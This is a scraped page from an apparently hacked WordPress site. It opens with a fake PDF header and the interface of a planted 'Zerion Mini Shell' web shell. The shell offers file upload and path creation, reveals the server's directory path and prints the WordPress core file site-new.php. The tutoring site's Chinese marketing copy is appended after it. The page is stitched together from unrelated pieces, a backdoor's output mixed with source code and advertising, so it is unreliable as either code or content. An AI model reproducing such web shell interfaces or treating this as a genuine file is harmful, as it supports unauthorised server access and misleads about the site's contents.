%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /disk/www/wwwroot/test-lingceed.echineselearning.biz/wp-admin/network/
Upload File :
Create Path :
Current File : /disk/www/wwwroot/test-lingceed.echineselearning.biz/wp-admin/network/site-new.php

<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" enctype="multipart/form-data" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';

Zerion Mini Shell 1.0
在线中文学校 7/24,专为华裔青少儿设计,教学经验丰富|灵犀中文
一对一在线课程
一对一在线辅导
灵犀中文 ── 学有”灵犀”一点通

1对1在线中文课程

  • 专为3-18岁华裔青少儿打造
  • 涵盖IB、AP、Alevel、IGCSE等考试辅导
  • 24/7都可以上课!

免费领取价值600元的中文学习大礼包

ft pic 3
国家/地区
search
 

search no result

 
ft pic 4
 
点击立即领取按钮,即表示您同意我们的服务条款和隐私保护。

banner ft gift

1对1个性化教学,专注于青少儿中文学习

华裔孩子学中文,1对1个性化教学
1对1个性化教学

因材施教,根据每个孩子的情况量身定制教学内容。

华裔孩子学中文,专属班主任
专属班主任
班主任全程跟踪,及时给家长反馈孩子学习情况,全方位保障孩子学有所成。
华裔孩子学中文,灵活的上课时间
灵活的上课时间
灵活的上课时间 ( 7*24 ),随时随地在线学中文。
华裔孩子学中文,多样化的趣味互动练习
多样化的趣味互动练习
各种趣味互动游戏,让孩子爱上学中文。

趣味互动课件,让孩子爱上学中文

互动性高
学生不仅可以和课件互动,还能加强和老师的互动。学生、教师和课件三位一体,互动性空前提升,让老师对学生的学习效果把控地更加准确,教学更有效。
趣味性高
通过非常丰富的互动体验和精美的趣味元素设计,让孩子更能记住所学的内容,真正做到寓教于乐,让学生能够快乐地学好中文。
科学性强
灵犀中文的教研团队深耕行业多年,深谙华裔孩子中文学习的特点。课件专业针对华裔青少儿中文学习的特点制作,让孩子的学习更加科学。

高效中文考试辅导课程,助力考生取得高分

多种课程类型
覆盖面广
覆盖多种中文考试课程,包括IB中文、AP中文、A-Level中文、O-Level中文和DSE中文,满足不同中文考试辅导的需求。
华裔孩子学中文,课程针对性强
针对性强
所有考试辅导皆为1对1名师教学,根据考生的水平制定个性化备考课程计划,针对弱项快速补强。
高提分率
高提分率
灵犀的老师有着丰富的考试辅导经验,深谙各中文考试的大纲和重点,帮助学生超越自我,考取高分。

为什么选择灵犀中文

为什么选择灵犀中文

免费领取1对1体验课

ft pic 3
国家/地区
search
 

search no result

 
ft pic 4
 
点击立即领取按钮,即表示您同意我们的服务条款和隐私保护。

17年教学经验沉淀,打造每一堂好课

灵犀中文掌握华裔青少儿中文教学的精髓,让您的孩子快乐高效地学好中文!
华裔孩子学中文,1对1个性化教学
为每个孩子定制个性化课程
华裔孩子学中文,教师教学经验丰富
教师经验丰富,擅于教授华裔青少儿
练习充分,讲练比例1:4,全面提升听说读写,让孩子真正学会中文
练习充分,讲练比例1:4,全面提升听说读写,让孩子真正学会中文
趣味课堂互动,锻炼孩子语言交际能力,激发孩子中文学习兴趣
趣味课堂互动,锻炼孩子语言交际能力,激发孩子中文学习兴趣

专业的师资团队,做最好的中文教育

专业的师资团队,做最好的中文教育
严格的教师筛选标准,只选2%最优秀的老师
严格的教师筛选标准,只选2%最优秀的老师
教师选择众多,保证选到最适合孩子的老师
教师选择众多,保证选到最适合孩子的老师
采用情景式及TPR教学法,课堂教学生动有趣
采用情景式及TPR教学法,课堂教学生动有趣
耐心热情,亦师亦友
耐心热情,亦师亦友

媒体报道

如何参加免费体验课

免费领取1对1体验课
点击下方按钮领取
预约体验课
我们会有专人在1个工作日内跟您联系,预约上课时间
上免费体验课
进入上课教室,体验1对1免费课
滚动至顶部